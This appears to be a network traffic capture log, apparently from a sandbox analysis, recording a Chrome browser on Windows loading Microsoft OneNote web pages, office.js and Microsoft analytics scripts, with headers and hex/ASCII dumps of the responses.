2024-07-16 11:07:18 UTC	594	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c
2024-07-16 11:07:18 UTC	4431	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c87660fc-0a3c-415c-b382-b49fcbc44a13 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017830 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8a&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017830 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7850AB8143524C0BB274E1B12D8A85C2 Ref B: BL2AA2010202033 Ref C: 2024-07-16T11:07:18Z Date: Tue, 16 Jul 2024 11:07:17 GMT Connection: close
2024-07-16 11:07:18 UTC	862	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int
2024-07-16 11:07:18 UTC	346	IN	Data Raw: 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 35 30 30 20 2d 20 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 72 65 20 69 73 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f Data Ascii: sition:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>500 - Internal server error.</h2> <h3>There is a problem with the resource you are lo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49952	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:18 UTC	724	OUT	GET /officeaddins/learningtools/?et= HTTP/1.1 Host: www.onenote.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://euc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:19 UTC	1155	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2309 Connection: close Cache-Control: private X-RoutingOfficeCluster: eus-azsc-000.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_0 X-RoutingOfficeVersion: 16.0.17909.40453 X-RoutingSessionId: bd1535c6-2648-4ee6-a2de-051de518d087 X-RoutingCorrelationId: eb281ac8-0af5-4778-8fde-dd3385f9573b P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" P3P: CP="P3P is not supported anymore; see: https://msdn.microsoft.com/en-us/library/mt146424%28v=vs.85%29.aspx" x-correlationid: eb281ac8-0af5-4778-8fde-dd3385f9573b x-usersessionid: bd1535c6-2648-4ee6-a2de-051de518d087 x-officefe: AgavesFrontEnd_IN_3 x-officeversion: 16.0.17907.40450 x-officecluster: eus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-content-type-options: nosniff x-azure-ref: 20240716T110719Z-15b94bb6ff9jhgnlnc201sfbps000000079g0000000068z5 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-07-16 11:07:19 UTC	2309	IN	Data Raw: 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0d 0a 09 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6f 6e 65 6e 6f 74 65 2e 6e 65 74 2f 6f 66 66 69 63 65 61 64 64 69 6e 73 2f 31 36 31 37 39 30 37 34 30 34 35 30 5f 53 63 72 69 70 74 73 2f 43 6f 6d 6d 6f 6e 44 69 61 67 6e 6f 73 74 69 63 73 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 3c 73 63 72 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="utf-8"><title></title><script type="text/javascript" src="https://cdn.onenote.net/officeaddins/161790740450_Scripts/CommonDiagnostics.js" crossorigin="anonymous"></script><scr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49970	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:19 UTC	580	OUT	GET /lib/1.1/hosted/office.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:19 UTC	1463	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:19 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 12 Jul 2024 16:48:15 GMT x-ms-request-id: db5a7ce4-d01e-004c-50a5-d45232000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.200.89.140,b=1105303243,c=g,n=US_NJ_SECAUCUS,o=20940],[c=p,n=US_NJ_SECAUCUS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=SECAUCUS&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.8c59c817.1720829172.41e196cb&TotalRTCDNTime=7&CompressionType=gzip&FileSize=19774"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=7, clienttt; dur=3, origin; dur=0 , cdntime; dur=3 Akamai-Cache-Status: Miss from child, Miss from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110719Z-15b94bb6ff94s8kmu55dtuug0s000000083g0000000019p5 x-fd-int-roxy-purgeid: 66127294 X-Cache: TCP_HIT X-Cache-Info: L1_T2
2024-07-16 11:07:19 UTC	14921	IN	Data Raw: 38 30 30 30 0d 0a 76 61 72 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 29 20 7b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 44 61 74 65 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 45 6e 64 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 68 6f 73 74 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 Data Ascii: 8000var OSFPerformance;(function (OSFPerformance) { OSFPerformance.officeExecuteStartDate = 0; OSFPerformance.officeExecuteStart = 0; OSFPerformance.officeExecuteEnd = 0; OSFPerformance.hostInitializationStart = 0; OSFPerforma
2024-07-16 11:07:20 UTC	16384	IN	Data Raw: 65 2c 66 29 7b 76 61 72 20 61 3d 63 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2c 62 3d 61 2e 6c 65 6e 67 74 68 3b 63 2e 5f 6f 6e 65 72 72 6f 72 3d 64 3b 61 5b 62 5d 3d 67 3b 61 5b 62 2b 6d 5d 3d 65 3b 61 5b 62 2b 6a 5d 3d 66 3b 62 3d 3d 3d 30 26 26 63 2e 5f 73 74 61 74 65 26 26 6c 28 78 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 62 29 7b 76 61 72 20 61 3d 62 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2c 66 3d 62 2e 5f 73 74 61 74 65 3b 69 66 28 61 2e 6c 65 6e 67 74 68 3d 3d 3d 30 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 65 2c 64 2c 67 3d 62 2e 5f 72 65 73 75 6c 74 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 3d 33 29 7b 65 3d 61 5b 63 5d 3b 64 3d 61 5b 63 2b 66 5d 3b 69 66 28 65 29 41 28 66 2c 65 2c 64 2c 67 29 3b 65 6c 73 65 20 64 28 67 29 7d Data Ascii: e,f){var a=c._subscribers,b=a.length;c._onerror=d;a[b]=g;a[b+m]=e;a[b+j]=f;b===0&&c._state&&l(x,c)}function x(b){var a=b._subscribers,f=b._state;if(a.length===0)return;for(var e,d,g=b._result,c=0;c<a.length;c+=3){e=a[c];d=a[c+f];if(e)A(f,e,d,g);else d(g)}
2024-07-16 11:07:20 UTC	16384	IN	Data Raw: 65 73 73 61 67 65 26 26 4f 53 46 2e 41 70 70 54 65 6c 65 6d 65 74 72 79 2e 6c 6f 67 41 70 70 43 6f 6d 6d 6f 6e 4d 65 73 73 61 67 65 28 22 67 65 74 41 70 70 43 6f 6e 74 65 78 74 41 73 79 6e 63 20 73 74 61 72 74 73 22 29 3b 69 2e 67 65 74 41 70 70 43 6f 6e 74 65 78 74 28 62 2c 61 29 7d 2c 47 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 45 28 29 3b 41 28 29 3b 69 66 28 63 2e 68 6f 73 74 50 6c 61 74 66 6f 72 6d 3d 3d 22 77 65 62 22 26 26 63 2e 69 73 44 69 61 6c 6f 67 26 26 77 69 6e 64 6f 77 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 26 26 77 69 6e 64 6f 77 2e 6f 70 65 6e 65 72 3d 3d 62 29 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 66 2c 22 5f 73 65 6c 66 22 2c 66 29 3b 77 69 6e 64 6f 77 2e 63 6c 6f 73 65 28 29 7d 69 66 28 28 63 2e 66 6c 61 67 73 26 28 4f 53 46 2e 48 6f 73 74 49 Data Ascii: essage&&OSF.AppTelemetry.logAppCommonMessage("getAppContextAsync starts");i.getAppContext(b,a)},G=function(){E();A();if(c.hostPlatform=="web"&&c.isDialog&&window==window.top&&window.opener==b){window.open(f,"_self",f);window.close()}if((c.flags&(OSF.HostI
2024-07-16 11:07:20 UTC	16384	IN	Data Raw: 28 65 29 7b 76 61 72 20 6e 3d 5b 5d 3b 72 65 74 75 72 6e 20 50 28 6e 2c 74 2c 22 45 76 65 6e 74 54 79 70 65 22 2c 65 2e 65 76 65 6e 74 54 79 70 65 29 2c 50 28 6e 2c 74 2c 22 50 69 6c 6c 61 72 22 2c 65 2e 70 69 6c 6c 61 72 29 2c 50 28 6e 2c 74 2c 22 53 63 65 6e 61 72 69 6f 22 2c 65 2e 73 63 65 6e 61 72 69 6f 29 2c 50 28 6e 2c 74 2c 22 56 65 74 6f 22 2c 65 2e 76 65 74 6f 29 2c 50 28 6e 2c 74 2c 22 45 72 72 6f 72 22 2c 65 2e 65 72 72 6f 72 29 2c 41 28 6e 2c 74 2c 22 49 6e 53 74 61 67 69 6e 67 22 2c 65 2e 69 6e 53 74 61 67 69 6e 67 29 2c 41 28 6e 2c 74 2c 22 49 73 53 65 73 73 69 6f 6e 45 6e 64 69 6e 67 45 72 72 6f 72 22 2c 65 2e 69 73 53 65 73 73 69 6f 6e 45 6e 64 69 6e 67 45 72 72 6f 72 29 2c 41 28 6e 2c 74 2c 22 49 73 49 6e 74 65 6e 74 69 6f 6e 61 6c 22 2c Data Ascii: (e){var n=[];return P(n,t,"EventType",e.eventType),P(n,t,"Pillar",e.pillar),P(n,t,"Scenario",e.scenario),P(n,t,"Veto",e.veto),P(n,t,"Error",e.error),A(n,t,"InStaging",e.inStaging),A(n,t,"IsSessionEndingError",e.isSessionEndingError),A(n,t,"IsIntentional",
2024-07-16 11:07:20 UTC	1092	IN	Data Raw: 2d 22 29 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 74 72 61 63 65 49 64 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 5f 70 61 72 65 6e 74 49 64 2c 22 2d 30 22 29 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 29 7d 2c 65 2e 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 6e 65 77 20 65 28 74 2c 6e 2c 72 29 3b 72 65 74 75 72 6e 20 69 2e 69 73 56 61 6c 69 64 28 29 3f 69 3a 76 6f 69 64 20 30 7d 2c 65 2e 63 72 65 61 74 65 4e 65 77 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 57 65 28 29 2c 42 65 28 29 2c 74 29 7d 2c 65 2e 70 61 72 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 78 65 2e 65 78 65 63 28 74 29 3b 69 66 28 6e 26 26 22 66 66 22 21 Data Ascii: -").concat(this.traceId,"-").concat(this._parentId,"-0").concat(this._traceFlags)},e.create=function(t,n,r){var i=new e(t,n,r);return i.isValid()?i:void 0},e.createNew=function(t){return new e(We(),Be(),t)},e.parse=function(t){var n=xe.exec(t);if(n&&"ff"!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49957	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:19 UTC	630	OUT	GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://euc-onenote.officeapps.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://euc-onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:19 UTC	982	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:19 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 91802 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 01 Jul 2024 17:02:58 GMT ETag: 0x8DC99EFA85DE069 x-ms-request-id: 884fccf1-f01e-00f9-76d6-d3c3fd000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 3.2.18 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.shared.analytics.mectrl-3.2.18.gbl.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240716T110719Z-15b94bb6ff94s8kmu55dtuug0s00000008100000000098hq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-16 11:07:19 UTC	15402	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 53 68 61 72 65 64 20 41 6e 61 6c 79 74 69 63 73 2c 20 33 2e 32 2e 31 38 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 7b 7d 2c 69 3d 22 5f 5f 6d 73 24 6d 6f 64 5f 5f 22 2c 6f 3d 7b 7d 2c 61 3d 6f 2e 65 73 6d 5f 6d 73 5f 73 68 61 72 65 64 5f 61 6e 61 6c 79 74 69 63 73 5f 6d 65 63 74 72 6c 5f 33 5f 32 5f 31 38 3d 7b 7d 2c 75 3d 22 33 2e 32 2e 31 38 22 2c 63 3d 22 6f 6e 65 44 73 4d 65 43 Data Ascii: /! 1DS JS SDK Shared Analytics, 3.2.18 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeC
2024-07-16 11:07:20 UTC	16384	IN	Data Raw: 20 74 7d 28 6f 2c 65 29 29 5b 6f 74 28 6e 29 5d 3d 74 29 2c 74 29 7d 2c 6b 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 65 26 26 65 5b 6e 5d 29 74 72 79 7b 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 63 61 74 63 68 28 74 29 7b 7d 7d 7d 3b 72 65 74 75 72 6e 20 6f 7d 76 61 72 20 48 72 3d 22 74 6f 47 4d 54 53 74 72 69 6e 67 22 2c 6a 72 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 57 72 3d 22 63 6f 6f 6b 69 65 22 2c 58 72 3d 22 65 78 70 69 72 65 73 22 2c 47 72 3d 22 65 6e 61 62 6c 65 64 22 2c 51 72 3d 22 69 73 43 6f 6f 6b 69 65 55 73 65 44 69 73 61 62 6c 65 64 22 2c 4a 72 3d 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 73 55 73 61 67 65 22 2c 24 72 3d 22 5f 63 6b 4d 67 72 22 2c 5a 72 3d 6e 75 6c 6c 2c 59 72 3d 6e 75 6c 6c 2c 65 69 3d 6e 75 6c 6c 2c 6e Data Ascii: t}(o,e))[ot(n)]=t),t)},kill:function(e,n){if(e&&e[n])try{delete e[n]}catch(t){}}};return o}var Hr="toGMTString",jr="toUTCString",Wr="cookie",Xr="expires",Gr="enabled",Qr="isCookieUseDisabled",Jr="disableCookiesUsage",$r="_ckMgr",Zr=null,Yr=null,ei=null,n
2024-07-16 11:07:20 UTC	16384	IN	Data Raw: 29 26 26 28 61 3d 65 28 70 2c 70 5b 44 65 5d 28 29 29 29 2c 6f 7c 7c 61 7c 7c 6e 75 6c 6c 7d 2c 70 2e 73 65 74 50 65 72 66 4d 67 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 3d 65 7d 2c 70 2e 65 76 65 6e 74 43 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 5b 6e 65 5d 7d 2c 70 2e 72 65 6c 65 61 73 65 51 75 65 75 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 67 26 26 30 3c 72 5b 6e 65 5d 26 26 28 65 3d 72 2c 72 3d 5b 5d 2c 69 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 29 5b 46 5d 28 65 29 7d 29 29 7d 2c 70 2e 70 6f 6c 6c 49 6e 74 65 72 6e 61 6c 4c 6f 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 3d 65 7c 7c 6e 75 6c 6c 2c 4e 3d 21 31 2c 41 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 41 Data Ascii: )&&(a=e(p,p[De]())),o\|\|a\|\|null},p.setPerfMgr=function(e){o=e},p.eventCnt=function(){return r[ne]},p.releaseQueue=function(){var e;g&&0<r[ne]&&(e=r,r=[],ie(e,function(e){y()[F](e)}))},p.pollInternalLogs=function(e){return P=e\|\|null,N=!1,A&&(clearInterval(A
2024-07-16 11:07:20 UTC	16384	IN	Data Raw: 73 3a 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 7d 2c 7b 72 3a 63 2e 57 49 4e 52 54 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 20 52 54 22 7d 2c 7b 72 3a 63 2e 57 49 4e 2c 6f 73 3a 22 57 69 6e 64 6f 77 73 22 7d 2c 7b 72 3a 63 2e 49 4f 53 2c 6f 73 3a 22 69 4f 53 22 7d 2c 7b 72 3a 63 2e 41 4e 44 52 4f 49 44 2c 6f 73 3a 22 41 6e 64 72 6f 69 64 22 7d 2c 7b 72 3a 63 2e 4c 49 4e 55 58 2c 6f 73 3a 22 4c 69 6e 75 78 22 7d 2c 7b 72 3a 63 2e 43 52 4f 53 2c 6f 73 3a 22 43 68 72 6f 6d 65 20 4f 53 22 7d 2c 7b 73 3a 22 78 31 31 22 2c 6f 73 3a 22 55 6e 69 78 22 7d 2c 7b 73 3a 22 62 6c 61 63 6b 62 65 72 72 79 22 2c 6f 73 3a 22 42 6c 61 63 6b 42 65 72 72 79 22 7d 2c 7b 73 3a 22 73 79 6d 62 69 61 6e 22 2c 6f 73 3a 22 53 79 6d 62 69 61 6e 22 7d 2c 7b 73 3a 22 6e 6f 6b 69 61 22 Data Ascii: s:"Windows Phone"},{r:c.WINRT,os:"Windows RT"},{r:c.WIN,os:"Windows"},{r:c.IOS,os:"iOS"},{r:c.ANDROID,os:"Android"},{r:c.LINUX,os:"Linux"},{r:c.CROS,os:"Chrome OS"},{s:"x11",os:"Unix"},{s:"blackberry",os:"BlackBerry"},{s:"symbian",os:"Symbian"},{s:"nokia"
